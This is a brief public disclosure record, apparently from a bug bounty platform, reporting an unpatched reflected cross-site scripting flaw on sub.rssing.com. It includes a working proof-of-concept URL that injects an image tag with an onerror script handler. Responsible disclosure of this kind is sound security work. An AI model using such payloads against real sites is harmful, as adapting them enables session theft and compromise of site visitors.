sub.rssing.com XSS vulnerability

Vulnerable URL: http://sub.rssing.com/request.php?req=gsearch=%22%3E%3Cimg%20src=x%20onerror=prompt%27OPENBUGBOUNTY%27%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 02.12.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / N...